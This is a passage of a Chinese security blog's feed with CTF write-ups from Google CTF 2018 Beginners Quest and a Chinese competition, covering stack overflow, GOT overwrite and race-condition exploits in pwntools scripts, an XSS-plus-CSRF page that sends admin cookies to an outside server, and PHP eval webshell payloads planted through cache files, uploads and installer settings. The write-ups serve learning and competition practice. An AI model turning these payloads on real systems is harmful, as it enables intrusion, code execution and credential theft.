class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python</span></span><br><span class="line"><span class="comment"># coding=utf-8</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">import</span> base64</span><br><span class="line"></span><br><span class="line">load_file = base64.b64encode(open(<span class="string">"load"</span>, <span class="string">"rb"</span>).read())</span><br><span class="line"></span><br><span class="line">r = remote(<span class="string">"env.ctfcompetition.com"</span>, <span class="number">1337</span>)</span><br><span class="line">r.send(<span class="string">"cd /tmp\n"</span>)</span><br><span class="line">r.send(<span class="string">"echo '"</span> + load_file + <span class="string">"' &gt; load.txt\n"</span>)</span><br><span class="line">r.send(<span class="string">"base64 -d load.txt &gt; load.so\n"</span>)</span><br><span class="line">r.send(<span class="string">"/home/adminimum/filterenv\n"</span>)</span><br><span class="line">r.send(<span class="string">"LD_PRELOAD=/tmp\n"</span>)</span><br><span class="line">r.send(<span class="string">"LD_PRELOAD=/tmp/load.so\n"</span>)</span><br><span class="line">r.send(<span class="string">"\n"</span>)</span><br><span class="line"></span><br><span class="line">r.interactive()</span><br></pre></td></tr></table></figure><img src="/2018/08/15/google-ctf-beginner-part2/20.png"><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>学到了一些PWN方面的知识还是不错的，丰富知识面。就是想吐槽这个题目的标签，很多都是挂羊头卖狗肉。</p><img src="/2018/08/15/google-ctf-beginner-part2/21.png">]]></content>
    
    <summary type="html">
    
      
      
        &lt;h2 id=&quot;Holey-Beep-PWN&quot;&gt;&lt;a href=&quot;#Holey-Beep-PWN&quot; class=&quot;headerlink&quot; title=&quot;Holey Beep(PWN)&quot;&gt;&lt;/a&gt;Holey Beep(PWN)&lt;/h2&gt;&lt;p&gt;Holey Beep是CVE-2018-
      
    
    </summary>
    
      <category term="技术" scheme="https://hurricane618.me/categories/%E6%8A%80%E6%9C%AF/"/>
    
    
      <category term="CTF" scheme="https://hurricane618.me/tags/CTF/"/>
    
  </entry>
  
  <entry>
    <title>巅峰极客CTF 部分Web复现</title>
    <link href="https://hurricane618.me/2018/08/01/dianfengjikeCTF-web/"/>
    <id>https://hurricane618.me/2018/08/01/dianfengjikeCTF-web/</id>
    <published>2018-08-01T05:17:19.000Z</published>
    <updated>2018-08-01T05:23:32.000Z</updated>
    
    <content type="html"><![CDATA[<p>复现了三道题，其他的都关环境了，记录一下复现的这三道吧。</p><h2 id="A-Simple-CMS"><a href="#A-Simple-CMS" class="headerlink" title="A Simple CMS"></a>A Simple CMS</h2><p>在网上找到的onethink的漏洞分析文章</p><p><a href="https://bbs.ichunqiu.com/thread-4918-1-1.html" target="_blank" rel="noopener">https://bbs.ichunqiu.com/thread-4918-1-1.html</a></p><p>这个是原理相同的，只不过是thinkphp</p><p><a href="https://xz.aliyun.com/t/99" target="_blank" rel="noopener">https://xz.aliyun.com/t/99</a></p><p>通过这些我们知道，问题是出在缓存的存储上，我们的用户名被简单的反序列化存储进了缓存文件中。所以要getshell的话我们只需要通过用户名传入webshell。但是这里有个条件，我们必须能猜到缓存文件的名字。</p><p>在题目的根目录下扫到 www.zip 得到题目的源码，在这里我们看到filename的命名规律，以及目录。推测这里的源码和线上是一样的，所以条件满足。</p><img src="/2018/08/01/dianfengjikeCTF-web/1.png"><p>我们在本地测试的时候，删除 Application/Install/Data/install.lock 文件，然后通过install.php安装，随后通过在本地生成缓存文件来预测题目的缓存文件，最后代码执行拿flag。</p><p>由于用户名有长度限制，所以分两次注册。第一次<code>%0a%0d$x=$_GET[x];\\</code>，第二次<code>%0a%0deval($x);\\</code></p><p>注册之后必须要登录一下，这样就把webshell写入了缓存文件中了。</p><img src="/2018/08/01/dianfengjikeCTF-web/2.png"><p>之后在题目中重复步骤，就可以拿到webshell，执行代码搜索flag</p><img src="/2018/08/01/dianfengjikeCTF-web/3.png"><h2 id="Baby-Web"><a href="#Baby-Web" class="headerlink" title="Baby Web"></a>Baby Web</h2><p>这道题一开始想法是通过收集信息社工得到flag……，先是看到<a href="mailto:BabyWeb@my.lol" target="_blank" rel="noopener">BabyWeb@my.lol</a>，然后访问my.lol可以得到一个qq邮箱，结果这个qq没什么东西，思路就断在这里了。</p><p>参考了其他人的writeup，发现要通过这些信息猜测后台，爆破密码……像这种信息量较少的题目，都会有一些扫目录，扫端口，收集子域名之类的操作。</p><p>输入<a href="http://106.75.2.4/babyweb" target="_blank" rel="noopener">http://106.75.2.4/babyweb</a> ，自动跳转到<a href="http://106.75.2.4/babyweb/login.php" target="_blank" rel="noopener">http://106.75.2.4/babyweb/login.php</a> ，看了一个writeup有的队伍能直接根据收集的信息爆破出用户名和密码。。。这操作太强了，我是搞不出来，所以就按照常规操作扫端口。</p><img src="/2018/08/01/dianfengjikeCTF-web/4.png"><p>根据扫出来的结果可以看到开放了3306端口，使用hydra爆破之。这个我在一开始的时候爆破的是root用户，结果看提示已经改成另外的用户了……哭唧唧，最后是在writeup的帮助下知道了用户名为babyweb，这个可以通过网站的信息推测出来。</p><p>拿到密码之后，连接数据库。</p><img src="/2018/08/01/dianfengjikeCTF-web/5.png"><p>然而并没有某writeup中所说的用户名密码，可能被删了，所以这里就只能直接用writeup中的用户名密码登后台了。</p><p>后台有个简单的文件上传，然后后缀有限制只能是图片后缀，这里上传之后没有路径，但是我们有数据库的数据，根据数据库中的数据我们可以得到上传后文件的文件名再加上img路径就可以知道文件的路径。再看看上传的类型中还有htaccesss，这里就是文件上传的漏洞利用。</p><p>通过上传htaccess文件来让一些后缀得到解析。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">&lt;FilesMatch &quot;abc&quot;&gt;</span><br><span class="line">SetHandler application/x-httpd-php</span><br><span class="line">&lt;/FilesMatch&gt;</span><br></pre></td></tr></table></figure><p>最后上传.abc为后缀的webshell即可</p><img src="/2018/08/01/dianfengjikeCTF-web/6.png"><h2 id="pentest"><a href="#pentest" class="headerlink" title="pentest"></a>pentest</h2><p>网站使用metinfo模板，在网上搜索一番，看到了几个SQl注入的洞，试了试都不行，索性放弃，看writeup。</p><p>扫描目录扫出file/file.php，能删除文件，然后没有对..过滤导致可以跨目录删除文件…… emmmm 看来是为了比赛额外添加了一个文件删除，这个如果字典没扫出来就根本无法下手了。</p><p>删除文件的路径中有对<code>./</code>的过滤，所以最后删除的路径为<code>...//xxxx/xxx</code><br>扫到这个之后，在之前的metinfo漏洞里面有讲删除install.lock文件，导致重装的问题，再加上metinfo对数据库参数过滤不严的问题，只要数据库配置参数中任意一项填入一句话木马<code>#*/@eval($_REQUEST[xxx]);/*</code>，就可以成功getshell。</p><img src="/2018/08/01/dianfengjikeCTF-web/7.png"><p>虽然安装步骤没有走完，但是只要数据库创建成功，就可以通过config/config_db.php拿shell</p><h2 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h2><p><a href="http://url.cn/5HWdbfS" target="_blank" rel="noopener">http://url.cn/5HWdbfS</a></p><p><a href="https://mp.weixin.qq.com/s/DYnLhYpC2eASyouk1YA2zg" target="_blank" rel="noopener">https://mp.weixin.qq.com/s/DYnLhYpC2eASyouk1YA2zg</a></p><p><a href="https://xz.aliyun.com/t/2469" target="_blank" rel="noopener">https://xz.aliyun.com/t/2469</a></p><p><a href="https://www.safeinfo.me/ldgb/75.html" target="_blank" rel="noopener">https://www.safeinfo.me/ldgb/75.html</a></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;复现了三道题，其他的都关环境了，记录一下复现的这三道吧。&lt;/p&gt;
&lt;h2 id=&quot;A-Simple-CMS&quot;&gt;&lt;a href=&quot;#A-Simple-CMS&quot; class=&quot;headerlink&quot; title=&quot;A Simple CMS&quot;&gt;&lt;/a&gt;A Simple CMS&lt;/
      
    
    </summary>
    
      <category term="技术" scheme="https://hurricane618.me/categories/%E6%8A%80%E6%9C%AF/"/>
    
    
      <category term="CTF" scheme="https://hurricane618.me/tags/CTF/"/>
    
  </entry>
  
  <entry>
    <title>Google CTF Beginner Part1</title>
    <link href="https://hurricane618.me/2018/07/18/google-ctf-beginner-part1/"/>
    <id>https://hurricane618.me/2018/07/18/google-ctf-beginner-part1/</id>
    <published>2018-07-18T15:03:09.000Z</published>
    <updated>2018-07-19T01:16:00.000Z</updated>
    
    <content type="html"><![CDATA[<p>会陆陆续续的把GoogleCTF题目的相关复现整理出来，这里先放一部分。通过这次Beginner训练还是了解到了许多之前没接触过的，比如PWN题中的libc地址问题。</p><h2 id="LETTER-MISC"><a href="#LETTER-MISC" class="headerlink" title="LETTER(MISC)"></a>LETTER(MISC)</h2><p>原理说出来都很简单，考察的是PDF中表层的覆盖其实还是可读的，所以我们选中需要的内容复制粘贴出来就可以了</p><img src="/2018/07/18/google-ctf-beginner-part1/1.png"><p>复制粘贴大法</p><img src="/2018/07/18/google-ctf-beginner-part1/2.png"><h2 id="OCR-is-cool-MISC"><a href="#OCR-is-cool-MISC" class="headerlink" title="OCR is cool!(MISC)"></a>OCR is cool!(MISC)</h2><p>一道题考察图片转文字之后，运用古典加密解决问题。学到新的知识OCR，PDF或者图片转文本的技术。</p><p><a href="https://www.onlineocr.net/" target="_blank" rel="noopener">在线转换链接</a></p><img src="/2018/07/18/google-ctf-beginner-part1/3.png"><p>之后在凯撒加密中破解，因为题目中包含着凯撒，提示也是很明显了。</p><img src="/2018/07/18/google-ctf-beginner-part1/4.png"><h2 id="MOAR-PWN"><a href="#MOAR-PWN" class="headerlink" title="MOAR(PWN)"></a>MOAR(PWN)</h2><p>考察了一个细节点，当我们处于man手册的状态下可以使用 !command 的方式来执行命令</p><img src="/2018/07/18/google-ctf-beginner-part1/5.png"><p>我们就直接ls出home目录下有东西，然后cat出来即可。</p><h2 id="Floppy-MISC"><a href="#Floppy-MISC" class="headerlink" title="Floppy(MISC)"></a>Floppy(MISC)</h2><p>给了一个图标文件，看了文本内容没什么东西，然后开始用binwalk分析一下</p><img src="/2018/07/18/google-ctf-beginner-part1/6.png"><p>果然里面有东西，改成zip解压出来就ok了</p><img src="/2018/07/18/google-ctf-beginner-part1/7.png"><h2 id="FLOPPY2-MISC"><a href="#FLOPPY2-MISC" class="headerlink" title="FLOPPY2(MISC)"></a>FLOPPY2(MISC)</h2><p>在上一道题目中留下了一个 <code>www.com</code> 文件，com后缀查了一下是MS-DOS的执行文件，所以现在的windows系统是无法执行的，DOSBOX启动！</p><p>直接运行就出现一个毫无意义的话，没有什么结果之后把二进制文件转成文本看看其中的内容，也没有什么收获……</p><p>经过其他人的Writeup之后得知要调试这个程序，在调试中发现，它会对其中的某个段取出字符异或然后重写回去，这样就好办了，一直跟踪调试，每次经过一些重写操作之后看看内存中的数据。最后得到flag。</p><img src="/2018/07/18/google-ctf-beginner-part1/8.png"><h2 id="Security-By-Obsecurity-MISC"><a href="#Security-By-Obsecurity-MISC" class="headerlink" title="Security By Obsecurity(MISC)"></a>Security By Obsecurity(MISC)</h2><p>一道很猥琐的题目…… 通过file命令知道得到的文件是个zip压缩包，然后就开始了，一直解压解压解压。。。</p><p>最后拿到一个password的压缩包里面有个password.txt需要密码，看他题目中有提示john，暗示John The Ripper，这个暴力破解工具。</p><p>所以我们就暴力一下吧，我这里用的是ARCHPR</p><img src="/2018/07/18/google-ctf-beginner-part1/9.png"><p>得到密码asdf，解压得到password.txt</p><img src="/2018/07/18/google-ctf-beginner-part1/10.png"><p>拿到flag</p><h2 id="Router-UI-Web"><a href="#Router-UI-Web" class="headerlink" title="Router-UI(Web)"></a>Router-UI(Web)</h2><p>打开网站是一个登录页面，输入账号和密码之后，发现会显示在页面上，根据题目的提示，XSS无疑。我们输入script验证漏洞，结果被chrome的auditor拦截。GG，这里img，svg等等标签失去作用，就算用src=javascript:alert(1) 这样的形式也会变成500……</p><p>无奈之前，看了看别人的writeup，发现它们是利用了页面中的//分隔符，把script拆成了两个部分，这样就绕过了auditor的检查。</p><p>那么可以引入js执行了，怎么偷管理员的cookie呢？必须要让管理员用这样的username和password登录才行，所以就是CSRF了。</p><p>给管理员一个可以自动提交的网站，提交这些内容，就会触发js拿到cookie。代码如下：</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">html</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">body</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">form</span> <span class="attr">method</span>=<span class="string">"POST"</span> <span class="attr">action</span>=<span class="string">"https://router-ui.web.ctfcompetition.com/login?next=https%3A%2F%2Frouter-ui.web.ctfcompetition.com%2F"</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">input</span> <span class="attr">name</span>=<span class="string">"username"</span> <span class="attr">value</span>=<span class="string">"&lt;script src=https:"</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">input</span> <span class="attr">name</span>=<span class="string">"password"</span> <span class="attr">value</span>=<span class="string">"xxxxx/img/11.js&gt;&lt;/script&gt;"</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">button</span> <span class="attr">id</span>=<span class="string">"b"</span> <span class="attr">type</span>=<span class="string">"submit"</span>&gt;</span><span class="tag">&lt;/<span class="name">button</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">form</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="undefined"></span></span><br><span class="line"><span class="javascript"><span class="built_in">document</span>.getElementById(<span class="string">"b"</span>).click();</span></span><br><span class="line"><span class="undefined"></span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">body</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">html</span>&gt;</span></span><br></pre></td></tr></table></figure><p>在11.js中，放入偷cookie的语句。</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> img = <span class="keyword">new</span> Image();</span><br><span class="line">img.src = <span class="string">"http://xxxxxx/?c="</span> + <span class="built_in">document</span>.cookie;</span><br></pre></td></tr></table></figure><p>这样在我们的服务器的日志中就可以看到带有cookie的请求了。但是由于比赛已经结束，估计机器人也没了，所以只能直接抄wp中的cookie进入后台。</p><img src="/2018/07/18/google-ctf-beginner-part1/11.png"><p>添加cookie之后，重新登录就会进入控制页面了</p><img src="/2018/07/18/google-ctf-beginner-part1/12.png"><p>最后在网页中找到flag</p><p>在XSS的构造中利用//来包含链接比较有意思，其他的就是中规中矩的CSRF+XSS的连锁。</p><h2 id="Message-of-the-day-PWN"><a href="#Message-of-the-day-PWN" class="headerlink" title="Message of the day(PWN)"></a>Message of the day(PWN)</h2><p>先按照国际惯例检查一下程序的安全保护。</p><img src="/2018/07/18/google-ctf-beginner-part1/13.png"><p>开启了NX意味着无法在内存中无法执行代码，所以这里就没有办法写shellcode执行拿权限。分析之后发现输入点处有不安全的gets函数，所以我们是可以栈溢出的。</p><img src="/2018/07/18/google-ctf-beginner-part1/14.png"><p>但是，没有办法写shellcode，那么还有什么办法可以拿到flag呢，在分析程序时看到在选项4中会有读取flag的操作，必须是管理员才能执行。</p><p>既然无法写shellcode，那么我们覆盖返回地址用ret2libc的思路去拿flag，应该是行的，我们知道读取flag的函数地址，只要把返回地址覆盖成这个地址即可。</p><p>src是一个0x100的栈，要栈溢出的话就要padding A*(0x100 + SP寄存器的大小)</p><img src="/2018/07/18/google-ctf-beginner-part1/15.png"><p>发现是RSP64位寄存器，那么我们最后的padding就是 A*(0x100+8)，地址我们也查到了是 00000000606063A5，所以最终代码如下：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">r = remote(<span class="string">"motd.competition.com"</span>, <span class="number">1337</span>)</span><br><span class="line">r.send(<span class="string">"2\n"</span>)</span><br><span class="line">r.send(<span class="string">"A"</span>*<span class="number">0x108</span> + <span class="string">"\xA5\x63\x60\x60\x00\x00\x00\x00"</span>)</span><br><span class="line">r.interactive()</span><br></pre></td></tr></table></figure><p>运行一下，拿到flag</p><img src="/2018/07/18/google-ctf-beginner-part1/16.png"><h2 id="Poetry-PWN"><a href="#Poetry-PWN" class="headerlink" title="Poetry(PWN)"></a>Poetry(PWN)</h2><p>有趣的一道题，开启了栈保护，所以栈溢出是不存在了。那么看看IDA中的内容。</p><img src="/2018/07/18/google-ctf-beginner-part1/17.png"><p>其中的LD_BIND_NOW 在网上查出来的结果，当这个变量设置为1的时候，会让连接器在程序执行前把所有的函数地址都连接好。</p><p>然后会用readlink读取 /proc/self/exe 就可以获取当前程序的绝对路径，之后设置 LD_BIND_NOW为1，再次执行该程序。</p><p>这里有个trick，就是如果在程序执行readlink(/proc/self/exe )的时候改变源程序，那么readlink得到的内容就会变成 原路径+” (deleted)”</p><p>所以只要我们在程序运行时对它做改动，它的readlink就会是另外一个名称，然后利用新的名称执行我们想要的命令。</p><p>由于我们的flag在其他用户的目录中，我们无法读取，所以思路就是改动程序让它执行我们控制好的其他程序读取flag，我们是没有权限的，但是poetry有这个权限。</p><p>这里，我们先用ln链接 poetry，得到一个我们自己的poetry，随后ln -s 硬链接cat 命名为 poetry(deleted)，这样我们在执行我们链接的poetry flag，然后删除我们的链接程序，就会触发cat 读取flag，整个过程都是poetry用户的权限，所以没问题。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">r = remote(<span class="string">"poetry.ctfcompetition.com"</span>,<span class="number">1337</span>)</span><br><span class="line"></span><br><span class="line">r.send(<span class="string">"ln -s /bin/cat '/home/user/poetry (deleted)'\n"</span>)</span><br><span class="line">r.send(<span class="string">"ln /home/poetry/poetry /home/user/poetry\n"</span>)</span><br><span class="line">r.send(<span class="string">"(/home/user/poetry /home/poetry/flag &amp;);rm /home/user/poetry\n"</span>)</span><br><span class="line">r.interactive()</span><br></pre></td></tr></table></figure><p>最后这个脚本要多跑几次，因为这个是条件竞争的漏洞，最后通过这个flag了解到CVE-2009-1894，这个洞的触发条件就是在我们执行程序的时候，正好删除了原始链接程序，然后使得readlink返回我们伪造的程序路径从而执行恶意操作。</p><img src="/2018/07/18/google-ctf-beginner-part1/18.png"><p>拿到flag CVE链接 <code>http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1894</code></p><h2 id="Fridge-ToDo-List-PWN"><a href="#Fridge-ToDo-List-PWN" class="headerlink" title="Fridge ToDo List(PWN)"></a>Fridge ToDo List(PWN)</h2><p>开启了PIE，无法在内存中确定具体的地址了。现在先看看程序有什么功能，1-6个选项。</p><ol><li>打印列表</li><li>打印ToDo的任务</li><li>存储ToDo任务</li><li>删除ToDo任务</li><li>远程管理员</li><li>退出</li></ol><p>首先第一个选项，就仅仅是打印，没什么输入，放弃。</p><p>第二个第三个第四个会有编号输入，第二个有读操作，第三个有写操作，所以重点就是这两个。</p><p>第五个查看源码就知道只是一个幌子。</p><p>第六个没啥好说的，退出操作。</p><p>看到第二个和第三个操作中都有同样的代码</p><img src="/2018/07/18/google-ctf-beginner-part1/19.png"><p>这里只检查了是否大于最大数量，并没有限制是否小于0,。所以我们可以越界读和写。</p><p>通过IDA我们分析看到 todo从0x203140开始，间隔为0x30，那么往上面看看有什么可以读写的。</p><img src="/2018/07/18/google-ctf-beginner-part1/20.png"><p>不错，在.got.plt部分，我们可以读取到这三个函数的地址，泄露了函数地址，意味着我们可以得到libc的信息。</p><p>之后该怎么利用呢？这里我们看到atoi是每次我们输入编号都会调用的函数，atoi而且还在open的附近，那么我们可以把atoi覆盖成system执行我们的任意命令，造成命令执行。所以剩下的就简单了，执行写操作，通过之前泄露的libc得到system的地址，覆盖atoi的地址。代码如下：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> struct <span class="keyword">import</span> unpack,pack</span><br><span class="line">r = remote(<span class="string">"fridge-todo-list.ctfcompetition.com"</span>,<span class="number">1337</span>)</span><br><span class="line">r.send(<span class="string">"whz\n"</span>)</span><br><span class="line">r.readuntil(<span class="string">"&gt;"</span>)</span><br><span class="line">r.send(<span class="string">"2\n"</span>)</span><br><span class="line">r.readuntil(<span class="string">"read?"</span>)</span><br><span class="line">r.send(<span class="string">"-6\n"</span>)</span><br><span class="line">res = r.readuntil(<span class="string">"Hi whz,"</span>).splitlines()[<span class="number">0</span>]</span><br><span class="line">write_addr = res.split(<span class="string">':'</span>,<span class="number">1</span>)[<span class="number">1</span>][<span class="number">1</span>:].ljust(<span class="number">8</span>,chr(<span class="number">0</span>))</span><br><span class="line">write_addr = unpack(<span class="string">"&lt;Q"</span>,write_addr)[<span class="number">0</span>]</span><br><span class="line">base_addr = write_addr<span class="number">-0x910</span></span><br><span class="line">system_addr = base_addr + <span class="number">0x940</span></span><br><span class="line">r.readuntil(<span class="string">"&gt;"</span>)</span><br><span class="line">r.send(<span class="string">"3\n"</span>)</span><br><span class="line">r.readuntil(<span class="string">"entry?"</span>)</span><br><span class="line">r.send(<span class="string">"-4\n"</span>)</span><br><span class="line">r.send(<span class="string">"A"</span>*<span class="number">8</span>+pack(<span class="string">"&lt;Q"</span>,system_addr)+<span class="string">"\n"</span>)</span><br><span class="line">r.interactive()</span><br></pre></td></tr></table></figure><p>之后执行命令，查看用户</p><img src="/2018/07/18/google-ctf-beginner-part1/21.png"><p>得到用户名，随后nc连上去，直接用该用户登录</p><img src="/2018/07/18/google-ctf-beginner-part1/22.png"><p>得到flag</p><p>这里要吐槽一点的是，这个泄露的libc一直没找到……，所以直接套用的其他人的exp。第一次感觉PWN也是蛮坑的。。。</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;会陆陆续续的把GoogleCTF题目的相关复现整理出来，这里先放一部分。通过这次Beginner训练还是了解到了许多之前没接触过的，比如PWN题中的libc地址问题。&lt;/p&gt;
&lt;h2 id=&quot;LETTER-MISC&quot;&gt;&lt;a href=&quot;#LETTER-MISC&quot; class
      
    
    </summary>
    
      <category term="技术" scheme="https://hurricane618.me/categories/%E6%8A%80%E6%9C%AF/"/>
    
    
      <category term="CTF" scheme="https://hurricane618.me/tags/CTF/"/>
    
  </entry>
  
  <entry>
    <title>Google CTF Beginner JS Safe 1 复现</title>
    <link href="https://hurricane618.me/2018/07/08/google-ctf-beginner-js-safe-1/"/>
    <id>https://hurricane618.me/2018/07/08/google-ctf-beginner-js-safe-1/</id>
    <published>2018-07-08T15:58:48.000Z</published>
    <updated>2018-07-19T01:05:00.000Z</updated>
    
    <content type="html"><![CDATA[<p>周末看了看GoogleCTF的beginner题目，感觉有些题目还不错，这里就先分析其中一道题JS Safe。</p><h2 id="题目"><a href="#题目" class="headerlink" title="题目"></a>题目</h2><img src="/2018/07/08/google-ctf-beginner-js-safe-1/0.png"><h2 id="分析与操作"><a href="#分析与操作" class="headerlink" title="分析与操作"></a>分析与操作</h2><p>这道题有点high，作为一个JS调试新手，着实爽了一把。题目给了一个Html网页，里面有两段JS代码，看来是JS代码分析的题目。</p><img src="/2018/07/08/google-ctf-beginner-js-safe-1/1.png"><p>我们先看其中的一段，前两个是解密用的参数，看到open_safe这个函数，password必须是CTF{xxxx}的格式，读取其中的数据代入判断。<br>if中把我们的输入代入了x函数。</p><img src="/2018/07/08/google-ctf-beginner-js-safe-1/2.png"><p>我们的password会在env的g参数中被编码，a是读数组数据，b是创建函数，c是加操作，d是ascii码转换。</p><p>之后，根据code中的字母在env中操作属性。最后有个等待值更新的异步操作。<br>其中重点就是那个for循环对env的操作，但是代码这个又很难看懂…… 所以只能用console.log来dump出来看看细节。而我们想知道我们的password被用来干什么了。</p><p>在for循环中加上一些代码来锁定g参数的位置。</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span>(<span class="regexp">/g/</span>.test(code.substr(i,<span class="number">4</span>)))&#123;</span><br><span class="line">    <span class="built_in">console</span>.log(i);</span><br><span class="line">    <span class="built_in">console</span>.log(env);</span><br><span class="line">    <span class="built_in">console</span>.log(code.substr(i,<span class="number">4</span>));</span><br><span class="line">    <span class="keyword">break</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><img src="/2018/07/08/google-ctf-beginner-js-safe-1/3.png"><p>定位在了876出现了g，然后看env里面有些啥。</p><img src="/2018/07/08/google-ctf-beginner-js-safe-1/4.png"><p>有趣的东西，出现了之前js代码中的subtle，digst，sha-256，而且在最后的数组中是sha-256和我们的输入编码，这其实就可以推测这里是要对我们的输入计算sha-256hash。为了看更多细节，我们继续加入一些代码调试。</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span>(i&gt;=<span class="number">876</span>)&#123;</span><br><span class="line">    <span class="built_in">console</span>.log(i);</span><br><span class="line">    <span class="built_in">console</span>.log(lhs + <span class="string">"="</span> + fn + <span class="string">"("</span> + arg1 + <span class="string">":"</span> +env[arg1] + <span class="string">","</span> + arg2 + <span class="string">":"</span> +env[arg2] + <span class="string">")"</span>);</span><br><span class="line">    <span class="built_in">console</span>.log(lhs + <span class="string">"="</span> + env[fn] + <span class="string">"("</span> + env[arg1] + <span class="string">","</span> + env[arg2] + <span class="string">")"</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span>(i == <span class="number">980</span>)&#123;</span><br><span class="line">    <span class="built_in">console</span>.log(env);</span><br><span class="line">    <span class="keyword">break</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>看看这之间有什么操作</p><img src="/2018/07/08/google-ctf-beginner-js-safe-1/5.png"><p>果不其然，在876-884中完成了对我们输入的hash计算。</p><img src="/2018/07/08/google-ctf-beginner-js-safe-1/6.png"><p>在940处，把我们计算出的hash变成数组，存入<code>env[Ѿ]</code>中。</p><img src="/2018/07/08/google-ctf-beginner-js-safe-1/7.png"><p>可以很清楚的看到，在960取出了我们hash过后的第一个值，然后与230异或，异或后的值与h进行or操作后赋值给h，随后开始下一次循环。</p><p>从之前的js代码中的if就可以知道h必须为0才能跳过判断。所以异或的值必须为0，也就是说必须要和对应的值相同。这样我们就得到了一串hash计算后的数组 <code>230,104,96,84,111,24,205,187,205,134,179,94,24,181,37,191,252,103,247,114,198,80,206,223,227,255,122,0,38,250,29,238</code></p><p>最终我们把这串字符转16进制拼接得到 <code>e66860546f18cdbbcd86b35e18b525bffc67f772c650cedfe3ff7a0026fa1dee</code></p><p>这个是我们输入的字符的hash值，找个hash值破解网站，得到 Passw0rd! ，所以最终flag为<code>CTF{Passw0rd!}</code></p><p>至于剩下的代码，它是用于解密数据的，我们输入正确就会解密成功，输出是下一题的入口。感觉是一道题被拆分成了几块……</p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>一道比较基础但是又很考察基本功的题，从中学习到了很多。</p><p>最后我想说一下的是那个SubtleCrypto.digest()方法我一开始没怎么搞懂，他是怎么把utf-8的编码数组hash计算的。之后找到了它的实现原理，所以也就懂了，为什么要一开始先utf-8编码才进行hash计算。</p><p><code>https://developer.mozilla.org/en-US/docs/Web/API/SubtleCrypto/digest</code></p><p>经过这次JS分析，感觉学习专门的JS调试迫在眉睫…… ，有变量监听和事件监听，会给调试工作带来很大便利。</p><h2 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">https://github.com/BOAKGP/CTF-Writeups/tree/master/Google%20CTF%202018%20Quals%20Beginners%20Quest/JS%20safe</span><br></pre></td></tr></table></figure>]]></content>
    
    <summary type="html">
    
      
      
